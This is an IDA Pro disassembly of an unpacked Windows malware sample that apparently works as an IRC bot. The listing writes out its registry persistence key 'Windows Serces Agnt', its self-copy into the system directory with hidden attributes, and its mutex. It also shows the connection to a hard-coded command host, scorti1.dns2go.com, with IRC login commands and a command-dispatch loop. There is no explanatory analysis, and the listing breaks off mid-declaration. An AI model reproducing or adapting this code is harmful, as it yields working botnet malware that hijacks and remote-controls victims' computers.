;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : D406759961331BD8C80CC93D1B849F50
; File Name : u:\work\d406759961331bd8c80cc93d1b849f50_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 000DF000 ( 913408.)
; Section size in file : 000DF000 ( 913408.)
; Offset to raw data for section: 00001000
; Flags 60000020: Text Executable Readable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Execute
_packed segment para public 'CODE' use32
assume cs:_packed
;org 401000h
assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401000 proc near ; CODE XREF: sub_401221+358p
; sub_4188A6+1Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, offset dword_429050
xor esi, esi
mov ebx, offset aWindowsSercesA ; "Windows Serces Agnt"
loc_401013: ; CODE XREF: sub_401000+69j
lea eax, [ebp+var_4]
push esi
push eax
push esi
push 0F003Fh
push esi
push esi
push esi
push dword ptr [edi+4]
push dword ptr [edi]
call dword_4CB988 ; RegCreateKeyExA
cmp [ebp+arg_0], esi
jz short loc_40104D
push [ebp+arg_0]
call sub_41B9C0
pop ecx
push eax
push [ebp+arg_0]
push 1
push esi
push ebx
push [ebp+var_4]
call dword_4CB9F8 ; RegSetValueExA
jmp short loc_401057
; ---------------------------------------------------------------------------
loc_40104D: ; CODE XREF: sub_401000+2Fj
push ebx
push [ebp+var_4]
call dword_4CB938 ; RegDeleteValueA
loc_401057: ; CODE XREF: sub_401000+4Bj
push [ebp+var_4]
call dword_4CB9B0 ; RegCloseKey
add edi, 8
cmp edi, offset dword_429068
jb short loc_401013
pop edi
pop esi
pop ebx
leave
retn
sub_401000 endp
; =============== S U B R O U T I N E =======================================
sub_401070 proc near ; CODE XREF: sub_4010AB+56p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
push esi
or esi, 0FFFFFFFFh
test eax, eax
jz short loc_4010A5
push ebx
push edi
lea edi, [eax]
mov ecx, 0FFh
loc_401089: ; CODE XREF: sub_401070+31j
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, dword_427220[eax*4]
xor esi, eax
inc edx
dec edi
jnz short loc_401089
pop edi
pop ebx
loc_4010A5: ; CODE XREF: sub_401070+Ej
mov eax, esi
pop esi
not eax
retn
sub_401070 endp
; =============== S U B R O U T I N E =======================================
sub_4010AB proc near ; CODE XREF: sub_4167A0+24Ap
var_10 = dword ptr -10h
arg_0 = dword ptr 4
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call sub_41BEB5
mov [esp+10h+var_10], offset dword_429068
push [esp+10h+arg_0]
mov esi, eax
call sub_41BEA2
mov edi, eax
pop ecx
test edi, edi
pop ecx
jz short loc_4010FA
loc_4010D0: ; CODE XREF: sub_4010AB+4Dj
test byte ptr [edi+0Ch], 10h
jnz short loc_4010FE
inc ebx
push ebx
push esi
call sub_41BBE2
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_4010FA
push edi
push 1
lea eax, [esi+ebx-1]
push 1
push eax
call sub_41BAFA
add esp, 10h
jmp short loc_4010D0
; ---------------------------------------------------------------------------
loc_4010FA: ; CODE XREF: sub_4010AB+23j
; sub_4010AB+39j
xor eax, eax
jmp short loc_401119
; ---------------------------------------------------------------------------
loc_4010FE: ; CODE XREF: sub_4010AB+29j
dec ebx
push ebx
push esi
call sub_401070
push esi
mov ebx, eax
call sub_41BA91
push edi
call sub_41BA3B
add esp, 10h
mov eax, ebx
loc_401119: ; CODE XREF: sub_4010AB+51j
pop edi
pop esi
pop ebx
retn
sub_4010AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40111D proc near ; DATA XREF: sub_401221+14o
var_268 = dword ptr -268h
var_25C = byte ptr -25Ch
var_158 = byte ptr -158h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_28 = dword ptr -28h
var_24 = word ptr -24h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push dword_43E91C
call dword_4CBA6C ; closesocket
call sub_40B583
call dword_4CB92C ; WSACleanup
call dword_4CB92C ; WSACleanup
mov ebx, dword_427080
push 64h
call ebx ; Sleep
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41BF70
push 44h
lea eax, [ebp+var_54]
pop esi
push esi
push edi
push eax
call sub_41BF70
add esp, 18h
mov [ebp+var_54], esi
mov esi, 104h
lea eax, [ebp+var_25C]
push esi
push eax
mov [ebp+var_48], offset byte_43DB88
mov [ebp+var_28], 1
mov [ebp+var_24], di
call dword_42707C ; GetSystemDirectoryA
lea eax, [ebp+var_158]
push esi
push eax
push edi
call dword_427078 ; GetModuleFileNameA
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_25C]
push eax
push edi
push 28h
push 1
push edi
lea eax, [ebp+var_158]
push edi
push eax
push edi
call dword_427074 ; CreateProcessA
test eax, eax
jz short loc_4011E2
push 64h
call ebx ; Sleep
push [ebp+var_10]
mov esi, dword_427070
call esi ; CloseHandle
push [ebp+var_C]
call esi ; CloseHandle
loc_4011E2: ; CODE XREF: sub_40111D+AFj
mov eax, [ebp+arg_8]
mov dword ptr [eax+0B0h], offset dword_43DB80
mov eax, [esp+268h+var_268]
mov large fs:0, eax
add esp, 8
push edi
call dword_42706C ; ExitProcess
pop edi
pop esi
pop ebx
loc_401205: ; DATA XREF: .packed:00429004o
jmp $+5
push 0FFFFh
push 539h
call sub_418BD1
pop ecx
mov dword_4CB710, eax
pop ecx
retn
sub_40111D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401221 proc near ; CODE XREF: sub_41E1D3+C9p
var_988 = byte ptr -988h
var_884 = byte ptr -884h
var_883 = byte ptr -883h
var_6F4 = byte ptr -6F4h
var_5F4 = byte ptr -5F4h
var_4F0 = byte ptr -4F0h
var_3F0 = byte ptr -3F0h
var_2EC = byte ptr -2ECh
var_1E8 = byte ptr -1E8h
var_E4 = dword ptr -0E4h
var_D8 = dword ptr -0D8h
var_B8 = dword ptr -0B8h
var_B4 = word ptr -0B4h
var_A0 = byte ptr -0A0h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 988h
push ebx
xor ebx, ebx
push esi
push edi
mov [ebp+var_8], ebx
mov [ebp+var_C], ebx
mov [ebp+var_4], offset sub_40111D
push [ebp+var_4]
push large dword ptr fs:0
mov large fs:0, esp
mov esi, dword_4270B0
call esi ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov dword_4CB714, eax
call esi ; GetTickCount
push eax
call sub_41C2B8
pop ecx
call sub_409909
push 2
call dword_4CBA80 ; SetErrorMode
push 7530h
push offset aDoos ; "DOOS"
push ebx
push ebx
call dword_4270AC ; CreateMutexA
push eax
call dword_4270A8 ; WaitForSingleObject
cmp eax, 102h
jnz short loc_4012A1
push 1
call dword_42706C ; ExitProcess
loc_4012A1: ; CODE XREF: sub_401221+76j
lea eax, [ebp+var_884]
push eax
push 202h
call dword_4CB944 ; WSAStartup
cmp eax, ebx
jnz loc_4017E4
cmp [ebp+var_884], 2
jnz loc_4017DE
xor eax, eax
mov al, [ebp+var_883]
cmp al, 2
jnz loc_4017DE
mov esi, 104h
lea eax, [ebp+var_3F0]
push esi
push eax
call dword_42707C ; GetSystemDirectoryA
lea eax, [ebp+var_2EC]
push esi
push eax
push ebx
call dword_4270A4 ; GetModuleHandleA
push eax
call dword_427078 ; GetModuleFileNameA
lea eax, [ebp+var_4F0]
push eax
lea eax, [ebp+var_6F4]
push eax
push ebx
lea eax, [ebp+var_2EC]
push ebx
push eax
call sub_41C3B1
add esp, 14h
lea eax, [ebp+var_4F0]
push eax
lea eax, [ebp+var_6F4]
push eax
push offset dword_429AC8
lea eax, [ebp+var_5F4]
push esi
push eax
call sub_41C360
lea eax, [ebp+var_3F0]
push eax
lea eax, [ebp+var_2EC]
push eax
call sub_41C2E0
add esp, 1Ch
test eax, eax
jnz loc_401516
cmp dword_42908C, ebx
mov esi, offset byte_429108
jz short loc_40139C
push esi
xor edi, edi
call sub_41B9C0
sub eax, 4
pop ecx
jz short loc_40139C
loc_401379: ; CODE XREF: sub_401221+179j
call sub_41C2C2
push 1Ah
cdq
pop ecx
idiv ecx
push esi
add dl, 61h
mov byte_429108[edi], dl
inc edi
call sub_41B9C0
sub eax, 4
pop ecx
cmp edi, eax
jb short loc_401379
loc_40139C: ; CODE XREF: sub_401221+148j
; sub_401221+156j
lea eax, [ebp+var_3F0]
push esi
push eax
lea eax, [ebp+var_1E8]
push offset dword_429AC0
push eax
call sub_41C266
add esp, 10h
lea eax, [ebp+var_1E8]
push eax
call dword_4270A0 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_4013DC
lea eax, [ebp+var_1E8]
push 80h
push eax
call dword_42709C ; SetFileAttributesA
loc_4013DC: ; CODE XREF: sub_401221+1A7j
mov esi, dword_427098
lea eax, [ebp+var_1E8]
push ebx
push eax
lea eax, [ebp+var_2EC]
xor edi, edi
push eax
loc_4013F3: ; CODE XREF: sub_401221+209j
call esi ; CopyFileA
test eax, eax
jnz short loc_40142C
call dword_427094 ; RtlGetLastWin32Error
cmp edi, ebx
jnz short loc_40142C
cmp eax, 20h
jz short loc_40140D
cmp eax, 5
jnz short loc_40142C
loc_40140D: ; CODE XREF: sub_401221+1E5j
push 1
pop edi
push 3A98h
call dword_427080 ; Sleep
lea eax, [ebp+var_1E8]
push ebx
push eax
lea eax, [ebp+var_2EC]
push eax
jmp short loc_4013F3
; ---------------------------------------------------------------------------
loc_40142C: ; CODE XREF: sub_401221+1D6j
; sub_401221+1E0j ...
lea eax, [ebp+var_1E8]
push eax
call sub_4187E0
pop ecx
lea eax, [ebp+var_1E8]
push 7
push eax
call dword_42709C ; SetFileAttributesA
push 10h
lea eax, [ebp+var_20]
push ebx
push eax
call sub_41BF70
push 44h
lea eax, [ebp+var_E4]
pop esi
push esi
push ebx
push eax
call sub_41BF70
add esp, 18h
mov [ebp+var_E4], esi
mov [ebp+var_D8], offset byte_43DB88
mov [ebp+var_B4], bx
push 1
pop esi
mov [ebp+var_B8], esi
call dword_427090 ; GetCurrentProcessId
push eax
push esi
push 100000h
loc_401495: ; DATA XREF: .packed:off_433094o
call dword_42708C ; OpenProcess
lea ecx, [ebp+var_2EC]
push ecx
push eax
lea eax, [ebp+var_1E8]
push eax
lea eax, [ebp+var_988]
push offset dword_429AB4
push eax
call sub_41C266
add esp, 14h
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_E4]
push eax
lea eax, [ebp+var_3F0]
push eax
push ebx
push 28h
push esi
push ebx
lea eax, [ebp+var_988]
push ebx
push eax
lea eax, [ebp+var_1E8]
push eax
call dword_427074 ; CreateProcessA
test eax, eax
jz short loc_401516
push 0C8h
call dword_427080 ; Sleep
push [ebp+var_20]
mov esi, dword_427070
call esi ; CloseHandle
push [ebp+var_1C]
call esi ; CloseHandle
call dword_4CB92C ; WSACleanup
push ebx
call dword_42706C ; ExitProcess
loc_401516: ; CODE XREF: sub_401221+137j
; sub_401221+2CBj
cmp dword_4DBDF8, 2
jle short loc_401562
mov eax, dword_4DBDFC
push dword ptr [eax+4]
call sub_41C159
pop ecx
mov esi, eax
push 0FFFFFFFFh
push esi
call dword_4270A8 ; WaitForSingleObject
push esi
call dword_427070 ; CloseHandle
mov eax, dword_4DBDFC
cmp [eax+8], ebx
jz short loc_401562
push 7D0h
call dword_427080 ; Sleep
mov eax, dword_4DBDFC
push dword ptr [eax+8]
call dword_427088 ; DeleteFileA
loc_401562: ; CODE XREF: sub_401221+2FCj
; sub_401221+326j
cmp dword_429090, ebx
jz short loc_40157F
cmp dword_4CBAA4, ebx
jnz short loc_40157F
lea eax, [ebp+var_5F4]
push eax
call sub_401000
pop ecx
loc_40157F: ; CODE XREF: sub_401221+347j
; sub_401221+34Fj
lea eax, [ebp+var_A0]
push offset dword_429A98
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_40B3BA
lea eax, [ebp+var_A0]
push eax
call sub_415D38
push 0B80h
push ebx
push offset dword_43DB90
call sub_41BF70
add esp, 24h
lea eax, [ebp+var_A0]
push offset unk_429A74
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_A0]
push 1
push eax
call sub_40B3BA
add esp, 14h
mov esi, eax
mov edi, dword_427084
lea eax, [ebp+var_8]
push eax
push ebx
push ebx
push offset sub_419F4D
push ebx
push ebx
call edi ; CreateThread
imul esi, 234h
cmp eax, ebx
mov dword_43E924[esi], eax
jnz short loc_401622
call dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_A0]
push offset unk_429A34
push eax
call sub_41C266
add esp, 0Ch
loc_401622: ; CODE XREF: sub_401221+3E4j
lea eax, [ebp+var_A0]
push eax
call sub_415D38
push 2
call sub_40B602
pop ecx
test eax, eax
pop ecx
jnz short loc_4016A7
lea eax, [ebp+var_A0]
push offset dword_429A08
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_40B3BA
add esp, 14h
mov esi, eax
lea eax, [ebp+var_8]
push eax
push ebx
push esi
push offset sub_410BFD
push ebx
push ebx
call edi ; CreateThread
imul esi, 234h
cmp eax, ebx
mov dword_43E924[esi], eax
jnz short loc_40169A
call dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_A0]
push offset dword_4299D4
push eax
call sub_41C266
add esp, 0Ch
loc_40169A: ; CODE XREF: sub_401221+45Cj
lea eax, [ebp+var_A0]
push eax
call sub_415D38
pop ecx
loc_4016A7: ; CODE XREF: sub_401221+418j
call sub_41C2C2
push 7Fh
and eax, 3
push offset aScorti1_dns2go ; "scorti1.dns2go.com"
push offset dword_4CB71C
mov dword_4CB888, eax
call sub_41BFD0
mov eax, dword_42906C
push 3Fh
mov edi, offset dword_4CB79C
push offset aFaak ; "#FAAK#"
push edi
mov dword_4CB86C, eax
call sub_41BFD0
push 3Fh
mov esi, offset dword_4CB7DC
push offset aSaad_ ; "saad."
push esi
call sub_41BFD0
add esp, 24h
mov dword_4CB870, ebx
loc_4016FC: ; CODE XREF: sub_401221+563j
; sub_401221+56Ej ...
mov [ebp+var_4], ebx
loc_4016FF: ; CODE XREF: sub_401221+517j
push offset dword_4CB718
mov dword_4CB884, ebx
call sub_4017ED
cmp eax, 2
mov [ebp+var_10], eax
jz loc_4017D9
cmp dword_4CB884, ebx
jz short loc_401726
dec [ebp+var_4]
loc_401726: ; CODE XREF: sub_401221+500j
push 0BB8h
call dword_427080 ; Sleep
inc [ebp+var_4]
cmp [ebp+var_4], 6
jl short loc_4016FF
cmp [ebp+var_10], 2
jz loc_4017D9
cmp [ebp+var_C], ebx
jz short loc_401789
push 7Fh
push offset aScorti1_dns2go ; "scorti1.dns2go.com"
push offset dword_4CB71C
call sub_41BFD0
mov eax, dword_42906C
push 3Fh
push offset aFaak ; "#FAAK#"
push edi
mov dword_4CB86C, eax
call sub_41BFD0
push 3Fh
push offset aSaad_ ; "saad."
push esi
call sub_41BFD0
add esp, 24h
mov [ebp+var_C], ebx
jmp loc_4016FC
; ---------------------------------------------------------------------------
loc_401789: ; CODE XREF: sub_401221+526j
cmp byte_4290E4, bl
jz loc_4016FC
push 7Fh
push offset byte_4290E4
push offset dword_4CB71C
call sub_41BFD0
mov eax, dword_429070
push 3Fh
push offset aFaak_0 ; "#FAAK#"
push edi
mov dword_4CB86C, eax
call sub_41BFD0
push 3Fh
push offset aSaad__0 ; "saad."
push esi
call sub_41BFD0
add esp, 24h
mov [ebp+var_C], 1
jmp loc_4016FC
; ---------------------------------------------------------------------------
loc_4017D9: ; CODE XREF: sub_401221+4F4j
; sub_401221+51Dj
call sub_40B583
loc_4017DE: ; CODE XREF: sub_401221+A1j
; sub_401221+B1j
call dword_4CB92C ; WSACleanup
loc_4017E4: ; CODE XREF: sub_401221+94j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
sub_401221 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4017ED proc near ; CODE XREF: sub_401221+4E9p
; DATA XREF: sub_401ACD+654Co
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 190h
mov eax, [ebp+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+var_190]
rep movsd
mov dword ptr [eax+160h], 1
loc_401812: ; CODE XREF: sub_4017ED+E6j
; sub_4017ED+136j ...
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_3C]
call dword_4CB9D4 ; htons
mov [ebp+var_E], ax
lea eax, [ebp+var_18C]
push eax
call sub_40A8F0
test eax, eax
pop ecx
mov [ebp+var_C], eax
jz loc_40193F
push 1Ch
lea eax, [ebp+var_2C]
push 0
push eax
call sub_41BF70
push 0
lea eax, [ebp+var_2C]
push dword_4290A0
push dword_42909C
push eax
call sub_40AE84
mov edi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 1Bh
add eax, offset byte_43E928
push edi
push eax
call sub_41BFD0
add esp, 28h
push 6
push 1
push 2
call dword_4CBA54 ; socket
mov esi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 10h
mov dword_43E91C[eax], esi
lea eax, [ebp+var_10]
push eax
push esi
call dword_4CB97C ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_4018D8
push esi
call dword_4CBA6C ; closesocket
call sub_40A919
push 7D0h
loc_4018CD: ; CODE XREF: sub_4017ED+146j
call dword_427080 ; Sleep
jmp loc_401812
; ---------------------------------------------------------------------------
loc_4018D8: ; CODE XREF: sub_4017ED+CDj
lea eax, [ebp+var_18C]
push eax
push offset unk_429AD0
call sub_415DAC
push [ebp+var_38]
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_CC]
push [ebp+var_190]
push edi
push eax
lea eax, [ebp+var_10C]
push eax
push esi
call sub_401955
add esp, 28h
mov edi, eax
push esi
call dword_4CBA6C ; closesocket
test edi, edi
jz loc_401812
cmp edi, 1
jnz short loc_401935
push 0DBBA0h
jmp short loc_4018CD
; ---------------------------------------------------------------------------
loc_401935: ; CODE XREF: sub_4017ED+13Fj
cmp edi, 2
jz short loc_401943
jmp loc_401812
; ---------------------------------------------------------------------------
loc_40193F: ; CODE XREF: sub_4017ED+5Aj
xor eax, eax
jmp short loc_40194F
; ---------------------------------------------------------------------------
loc_401943: ; CODE XREF: sub_4017ED+14Bj
push [ebp+var_34]
call sub_40B6D6
pop ecx
push 2
pop eax
loc_40194F: ; CODE XREF: sub_4017ED+154j
pop edi
pop esi
leave
retn 4
sub_4017ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401955 proc near ; CODE XREF: sub_4017ED+123p
var_1A90 = byte ptr -1A90h
var_A90 = byte ptr -0A90h
var_2C0 = byte ptr -2C0h
var_140 = byte ptr -140h
var_A0 = byte ptr -0A0h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1A90h
call sub_41C500
push ebx
push esi
push edi
xor ebx, ebx
push 3
mov [ebp+var_8], ebx
lea eax, [ebp+var_2C0]
pop ecx
loc_401973: ; CODE XREF: sub_401955+26j
mov [eax], bl
add eax, 80h
dec ecx
jnz short loc_401973
cmp byte_4CB880, bl
jz short loc_40199A
push offset byte_4CB880
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0]
call sub_409823
add esp, 0Ch
loc_40199A: ; CODE XREF: sub_401955+2Ej
push [ebp+arg_C]
lea eax, [ebp+var_20]
push ebx
push ebx
push 2
push eax
call sub_40AE84
add esp, 10h
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_C]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax
call sub_41C266
add esp, 14h
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_401A04
push [ebp+arg_0]
call dword_4CBA6C ; closesocket
push 1388h
call dword_427080 ; Sleep
loc_4019FD: ; CODE XREF: sub_401955+D9j
; sub_401955+153j
xor eax, eax
loc_4019FF: ; CODE XREF: sub_401955+173j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401A04: ; CODE XREF: sub_401955+92j
; sub_401955+F8j ...
mov esi, 1000h
lea eax, [ebp+var_1A90]
push esi
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_1A90]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_4CB9EC ; recv
test eax, eax
jle short loc_4019FD
lea eax, [ebp+var_A90]
push eax
lea eax, [ebp+var_1A90]
push eax
call sub_4184CC
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
mov [ebp+var_4], ebx
jle short loc_401A04
lea edi, [ebp+var_A90]
loc_401A55: ; CODE XREF: sub_401955+165j
push 1
pop esi
loc_401A58: ; CODE XREF: sub_401955+144j
push [ebp+arg_1C]
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_140]
push eax
lea eax, [ebp+var_2C0]
push eax
push [ebp+arg_18]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push dword ptr [edi]
call sub_401ACD
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_401A9B
push 7D0h
call dword_427080 ; Sleep
jmp short loc_401A58
; ---------------------------------------------------------------------------
loc_401A9B: ; CODE XREF: sub_401955+137j
cmp esi, 0FFFFFFFDh
jz short loc_401AC5
cmp esi, 0FFFFFFFEh
jz short loc_401AC1
cmp esi, 0FFFFFFFFh
jz loc_4019FD
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jl short loc_401A55
jmp loc_401A04
; ---------------------------------------------------------------------------
loc_401AC1: ; CODE XREF: sub_401955+14Ej
push 1
jmp short loc_401AC7
; ---------------------------------------------------------------------------
loc_401AC5: ; CODE XREF: sub_401955+149j
push 2
loc_401AC7: ; CODE XREF: sub_401955+16Ej
pop eax
jmp loc_4019FF
sub_401955 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401ACD proc near ; CODE XREF: sub_401955+12Ap
var_568C = byte ptr -568Ch
var_528C = byte ptr -528Ch
var_50FC = byte ptr -50FCh
var_4FF8 = byte ptr -4FF8h
var_4EF8 = byte ptr -4EF8h
var_4CF8 = byte ptr -4CF8h
var_4BF8 = byte ptr -4BF8h
var_4AF4 = byte ptr -4AF4h
var_49F4 = byte ptr -49F4h
var_48F0 = byte ptr -48F0h
var_47F0 = byte ptr -47F0h
var_46F0 = byte ptr -46F0h
var_45F0 = byte ptr -45F0h
var_458C = byte ptr -458Ch
var_448C = byte ptr -448Ch
var_438C = byte ptr -438Ch
var_428C = byte ptr -428Ch
var_408C = byte ptr -408Ch
var_3F8C = dword ptr -3F8Ch
var_3F88 = byte ptr -3F88h
var_3F08 = byte ptr -3F08h
var_3E04 = byte ptr -3E04h
var_3D00 = dword ptr -3D00h
var_3CFC = dword ptr -3CFCh
var_3CF8 = dword ptr -3CF8h
var_3CF4 = dword ptr -3CF4h
var_3CF0 = dword ptr -3CF0h
var_3CEC = dword ptr -3CECh
var_3CE8 = byte ptr -3CE8h
var_3C68 = byte ptr -3C68h
var_3BE8 = byte ptr -3BE8h
var_3B68 = byte ptr -3B68h
var_3AE8 = byte ptr -3AE8h
var_3A68 = dword ptr -3A68h
var_3A64 = dword ptr -3A64h
var_3A60 = dword ptr -3A60h
var_3A5C = dword ptr -3A5Ch
var_3A58 = byte ptr -3A58h
var_37D1 = byte ptr -37D1h
var_37D0 = byte ptr -37D0h
var_36CC = dword ptr -36CCh
var_36C4 = dword ptr -36C4h
var_36C0 = dword ptr -36C0h
var_36BC = dword ptr -36BCh
var_36B8 = dword ptr -36B8h
var_36B0 = dword ptr -36B0h
var_36AC = dword ptr -36ACh
var_36A8 = byte ptr -36A8h
var_3628 = byte ptr -3628h
var_35A8 = byte ptr -35A8h
var_3528 = byte ptr -3528h
var_34A8 = dword ptr -34A8h
var_34A4 = dword ptr -34A4h
var_34A0 = dword ptr -34A0h
var_349C = dword ptr -349Ch
var_3498 = dword ptr -3498h
var_3494 = byte ptr -3494h
var_3414 = byte ptr -3414h
var_3394 = byte ptr -3394h
var_3314 = byte ptr -3314h
var_3294 = dword ptr -3294h
var_3290 = dword ptr -3290h
var_328C = dword ptr -328Ch
var_3288 = dword ptr -3288h
var_3284 = dword ptr -3284h
var_3280 = byte ptr -3280h
var_3200 = byte ptr -3200h
var_3180 = byte ptr -3180h
var_3100 = byte ptr -3100h
var_3080 = dword ptr -3080h
var_307C = dword ptr -307Ch
var_3078 = dword ptr -3078h
var_3074 = dword ptr -3074h
var_3070 = dword ptr -3070h
var_306C = byte ptr -306Ch
var_2FEC = byte ptr -2FECh
var_2F6C = byte ptr -2F6Ch
var_2EEC = byte ptr -2EECh
var_2E6C = dword ptr -2E6Ch
var_2E68 = dword ptr -2E68h
var_2E64 = dword ptr -2E64h
var_2E60 = dword ptr -2E60h
var_2E5C = byte ptr -2E5Ch
var_2D58 = dword ptr -2D58h
var_2D54 = byte ptr -2D54h
var_2C50 = byte ptr -2C50h
var_2B4C = dword ptr -2B4Ch
var_2B48 = dword ptr -2B48h
var_2B44 = dword ptr -2B44h
var_2B40 = byte ptr -2B40h
var_2AC0 = dword ptr -2AC0h
var_2ABC = dword ptr -2ABCh
var_2AB8 = dword ptr -2AB8h
var_2AB4 = dword ptr -2AB4h
var_2AAC = byte ptr -2AACh
var_2994 = byte ptr -2994h
var_2914 = dword ptr -2914h
var_2910 = dword ptr -2910h
var_290C = dword ptr -290Ch
var_2908 = dword ptr -2908h
var_2904 = dword ptr -2904h
var_2900 = dword ptr -2900h
var_28FC = byte ptr -28FCh
var_287C = byte ptr -287Ch
var_277C = byte ptr -277Ch
var_267C = dword ptr -267Ch
var_2678 = dword ptr -2678h
var_2674 = dword ptr -2674h
var_2670 = dword ptr -2670h
var_266C = dword ptr -266Ch
var_2668 = dword ptr -2668h
var_2664 = dword ptr -2664h
var_2660 = dword ptr -2660h
var_265C = dword ptr -265Ch
var_2658 = dword ptr -2658h
var_2654 = byte ptr -2654h
var_25D4 = byte ptr -25D4h
var_24D4 = byte ptr -24D4h
var_23D4 = dword ptr -23D4h
var_23D0 = dword ptr -23D0h
var_23CC = dword ptr -23CCh
var_23C8 = dword ptr -23C8h
var_23C4 = dword ptr -23C4h
var_23C0 = dword ptr -23C0h
var_23BC = dword ptr -23BCh
var_23B8 = dword ptr -23B8h
var_23B4 = dword ptr -23B4h
var_23B0 = dword ptr -23B0h
var_23AC = byte ptr -23ACh
var_232C = byte ptr -232Ch
var_22AC = byte ptr -22ACh
var_222C = dword ptr -222Ch
var_2228 = dword ptr -2228h
var_2224 = dword ptr -2224h
var_2220 = dword ptr -2220h
var_221C = dword ptr -221Ch
var_2218 = byte ptr -2218h
var_2198 = byte ptr -2198h
var_2118 = byte ptr -2118h
var_2098 = dword ptr -2098h
var_2094 = dword ptr -2094h
var_2090 = dword ptr -2090h
var_208C = dword ptr -208Ch
var_2088 = dword ptr -2088h
var_2084 = byte ptr -2084h
var_2004 = byte ptr -2004h
var_1F84 = byte ptr -1F84h
var_1F04 = dword ptr -1F04h
var_1F00 = dword ptr -1F00h
var_1EFC = dword ptr -1EFCh
var_1EF8 = dword ptr -1EF8h
var_1EF4 = dword ptr -1EF4h
var_1EF0 = byte ptr -1EF0h
var_1DF0 = byte ptr -1DF0h
var_1D70 = dword ptr -1D70h
var_1D68 = dword ptr -1D68h
var_1D64 = dword ptr -1D64h
var_1D60 = dword ptr -1D60h
var_1D5C = dword ptr -1D5Ch
var_1D58 = dword ptr -1D58h
